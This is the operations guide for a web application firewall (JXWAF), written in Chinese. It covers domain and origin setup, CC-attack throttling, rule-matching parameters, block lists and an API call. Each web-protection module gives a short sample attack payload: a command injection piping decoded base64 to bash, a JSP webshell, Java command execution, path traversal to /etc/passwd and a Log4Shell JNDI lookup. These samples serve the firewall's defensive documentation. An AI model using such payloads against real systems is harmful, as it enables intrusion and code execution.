# 操作指南
# 网站防护
# 网站配置
域名/IP
需要防护的域名或 IP,域名支持通配符,例如 *.jxwaf.com。自定义端口部署,则需要在域名或 IP 后面加上端口,例如: demo.jxwaf.com:8000。如下面的配置例子,都是正确配置
- 1.1.1.1
- 1.1.1.1:8000
- demo.jxwaf.com
- demo.jxwaf.com:8000
- *.jxwaf.com
- *.jxwaf.com:8000
协议类型
选择支持的协议类型,默认情况下,HTTP 协议对应 80 端口,HTTPS 协议对应 443 端口。HTTPS 协议需要选择对应的 SSL 证书,SSL 证书需要在 系统配置 -> SSL 证书管理 中配置。
源站地址
业务服务器的地址,支持 IP 和域名,支持配置多个回源地址。域名需要省略 https:// 或 http://。如下面的配置例子,都是正确配置
- www.jxwaf.com
- 1.1.1.1
源站端口
业务服务器的端口,例如 80,443 等,端口需要与回源协议匹配,例如,80 端口的回源协议就是 http,443 端口的回源协议是 https
回源协议
选择回源协议,即业务服务器支持的请求协议,一般来说,80 端口对应 http 协议,443 端口对应 https 协议
负载均衡
支持 IP_HASH 和 轮询 两种回源算法,其中 IP_HASH 算法能够保持用户会话的一致性,轮询算法能够平均地分配请求到后端的业务服务器。
强制 HTTPS 跳转
强制 HTTP 协议跳转到 HTTPS 协议,协议类型需同时开启 HTTP 和 HTTPS 才能生效
WAF 前存在代理
开启后,将从可信 IP 地址中,提取 header 头中的 X-Real-IP 或 X-Forwarded-For 的 IP 为源 IP 地址,适合 waf 前存在 CDN 或云 WAF 的场景开启
# 防护配置
# web 防护引擎
# 防护状态
开启状态下,检测到攻击会返回默认拦截页面,可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。观察状态下,仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
# SQL 注入攻击防护
攻击 payload 例子: if(lower(database())>'a',1,0)
# XSS 攻击防护
攻击 payload 例子:
# 命令执行攻击防护
攻击 payload 例子: ;echo "Y2F0IGZsYWc="|base64 -d|bash
# 代码执行攻击防护
攻击 payload 例子: new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
# WebShell 上传防护
攻击 payload 例子: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
# 敏感文件泄露防护
攻击 payload 例子: http://1.1.1.1/a.bak
# 路径穿越防护
攻击 payload 例子: '/static/img/../../etc/passwd'
# 高危 Nday 防护
攻击 payload 例子: ${jndi:ldap://172.16.238.11:1389/a}
# 流量防护引擎
# 高频 CC 攻击防护
IP 请求频率检测
一秒时间内同一 IP 发起的请求数量,例如 当请求频率限制为 100 时,即同一 IP 在一秒内发起了超过 100 个请求,则超出请求部分将触发处置
IP 请求次数检测
在统计时间内(秒),同一 IP 发起的请求数量超过限定值,超出的请求将被处置。例如 当请求次数设置为 6000,统计时间设置为 60,则同一 IP 在 60 秒内,发起超过 6000 个请求,超出的请求将触发处置
# 慢速 CC 攻击防护
- 请求 IP 数量检测
在统计时间内(秒),请求的 IP 数量超过限定值,超出 IP 的请求将被处置。例如 请求 IP 数量限制设置为 1000,统计时间设置为 60,则在 60 秒内,请求的 IP 数量超过 1000,超出的 IP 将触发处置
- 回源保护机制
统计回源的请求频率,超过部署的请求将触发处置,例如 设置网站请求频率限制为 1000,那么当回源到业务服务器的请求,在 1 秒内超过 1000 个请求,超出的请求将触发处置。
# 无差别紧急防护
开启后,所有请求都会无条件触发处置,适合网站已经被打且业务不可用的情况下紧急开启。可配置人机识别进行处置,快速拦截异常流量,正常用户通过人机识别验证后可正常防护业务。
# 执行动作
- 阻断请求
拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。
- 拒绝响应
服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。
- 人机识别
标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。
滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。
图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。
- 观察模式
仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
# Web 防护规则/Web 白名单规则/流量防护规则/流量白名单规则
请求内容例子
POST /waf/waf_get_domain_list?test=a&test2=b HTTP/1.1
Host: demo.jxwaf.com:8000
Content-Length: 10
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://demo.jxwaf.com:8000
Referer: http://demo.jxwaf.com:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5
Connection: close
{"page":1}
# 匹配参数
匹配参数选项 | 获取数据说明 |
---|---|
http_args:path | /waf/waf_get_domain_list |
http_args:query_string | test=a&test2=b |
http_args:method | POST |
http_args:src_ip | 1.1.1.1 |
http_args:raw_body | {"page":1} |
http_args:version | 1.1 |
http_args:scheme | HTTP |
http_args:raw_header | 获取原始 header 内容 |
header_args:host | demo.jxwaf.com:8000 |
header_args:cookie | sessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5 |
header_args:referer | http://demo.jxwaf.com:8000/ |
header_args:user_agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 |
header_args:referer | http://demo.jxwaf.com:8000/ |
header_args: | 获取指定的 header 值,例如这里输入 header_args:Accept-Encoding,则返回 "gzip, deflate, br" |
cookie_args: | 获取指定的 cookie 值,例如这里输入 cookie_args:sessionid,则返会"ie7l7u89zeqf93syv4jvolhr0ljgngn5" |
uri_args: | 获取指定的查询字符串参数的值,例如输入 uri_args:test ,则返回 “a” |
post_args: | 获取指定的请求体参数的值,假如请求体的内容为 page=1&number=2,则输入 post_args:number,则返回 "2" |
json_post_args: | 获取指定的请求体参数的值,例如输入 json_post_args:page ,则返回 “1” |
# 参数处理
参数处理选项 | 处理说明 |
---|---|
不处理 | 不进行处理,获取数据为 "a",则返回"a" |
小写处理 | 获取数据为"AbcdEf",则返回“abcdef” |
BASE64 解码 | 获取数据为"QWJjZEVm",则返回"AbcdEf",如果解码失败,则返回 nil |
长度计算 | 获取数据为"AbcdEf",则返回“6” |
URL 解码 | 获取数据为"test%3Da%26test2%3Db",则返回"test=a&test2=b" |
UNICODE 解码 | 获取数据为"\u0073\u0073\u0073\u0061\u0061",则返回"sssaa" |
十六进制解码 | 获取数据为"\x61\x61\x61\x62\x62\x62",则返回"aaabbb" |
获取数据类型 | 当数据存在,且数据是数字类型,则返回"number",否则返回"string",不存在则返回"nil",例如匹配参数 cookie_args:jxwaf_session 因为不存在该参数,所以返回为 "nil"。json_post_args:page 则返回 "number",header_args:host,则返回"string" |
# 匹配方式
匹配方式选项 | 匹配说明 |
---|---|
后缀匹配 | 获取数据为"AbcdEf",后缀匹配"cdEf"成功,后缀匹配"aaaa"失败 |
包括 | 获取数据为"AbcdEf", 包括匹配"cdE"成功,包括匹配"aaaa"失败 |
不包括 | 获取数据为"AbcdEf", 不包括匹配"aaaa"成功,不包括匹配"dEf"失败 |
等于 | 获取数据为"AbcdEf", 等于匹配"AbcdEf"成功,等于匹配"dEf"失败 |
不等于 | 获取数据为"AbcdEf", 不等于匹配"dEf"成功,不等于匹配"AbcdEf"失败 |
数字大于 | 获取数据为"6", 数字大于匹配“10”成功,数字大于匹配“4”失败。获取数据为"qqq",数字大于匹配“10”失败 |
数字小于 | 获取数据为"6", 数字小于匹配“4”成功,数字小于匹配“10”失败。获取数据为"qqq",数字小于匹配“10”失败 |
数字等于 | 获取数据为"6", 数字等于匹配“6”成功,数字等于匹配“10”失败。获取数据为"qqq",数字等于匹配“10”失败 |
数字不等于 | 获取数据为"6", 数字不等于匹配“5”成功,数字不等于匹配“6”失败。获取数据为"qqq",数字不等于匹配“10”失败 |
# 执行动作
- 阻断请求
拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。
- 拒绝响应
服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。
- 人机识别
标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。
滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。
图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。
- 观察模式
仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
- Web 安全防护加白
加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。
- 流量安全防护加白
加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。
# IP 区域封禁
开启后,需要配置 IP 白名单区域,将根据 IP 归属的国家或地区进行检测,非白名单区域的 IP 发起请求将进行处置。例如,开启后选择白名单区域为中国大陆,那么 IP: 43.133.32.222 访问的时候,因为 IP 的归属是新加坡,请求将触发执行动作进行处置。
# 名单防护
# 名单配置
名单名称
字母开头,字母或者数字组合,支持_-两种符号
名单描述
描述名单用途
过期时间(秒)
默认永久生效,可自定义过期时间,当超过过期时间,会自动删除过期的条目
匹配参数
详情参考规则配置,支持多个组合。例如 业务场景需要封禁某些 IP 访问特定域名,那么可以设置 header_args:host 加上 http_args:src_ip ,假如域名是 www.test.com ,访问 IP 是 1.1.1.1 那么条目可以写入 “www.test.com1.1.1.1”,即可实现禁止特定IP访问特定域名的效果
执行动作
- 阻断请求
拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。
- 拒绝响应
服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。
- 人机识别
标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。
滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。
图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。
- 观察模式
仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
- 安全防护全加白
加白所有安全防护模块,后续检测流程中的安全防护模块都会直接跳过,不会执行检测和处置
- Web 安全防护加白
加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。
- 流量安全防护加白
加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。
# API 调用
# 接口说明
接口地址: /api/add_name_list_item
输入参数:
- waf_auth
鉴权字段,在 系统配置 -> 基础信息 页面,可以查看 waf_auth 的值
- name_list_name
名单名称
- name_list_item
名单条目的值
调用成功输出:
{
"message": "add_success",
"result": true
}
# 调用例子
API 地址:
http://demo.jxwaf.com:8000/api/add_name_list_item
waf_auth: ee747988-612b-4790-b8ea-fb49c04fc1ea
名单名称: test
参数:
{"waf_auth":"ee747988-612b-4790-b8ea-fb49c04fc1ea","name_list_name":"test","name_list_item":"www.test.com1.1.1.1"}
结果:
{
"message": "add_success",
"result": true
}
# 配置备份&加载
# 配置备份
点击按钮进行备份,会自动下载备份文件 backup_data.json 。备份操作会将当前系统的所有配置都备份下来。
# 配置加载
打开 backup_data.json 文件,复制文件内容填入输入框。注意,加载操作将删除当前系统配置,然后将配置文件内容写入覆盖,建议先备份再进行加载操作。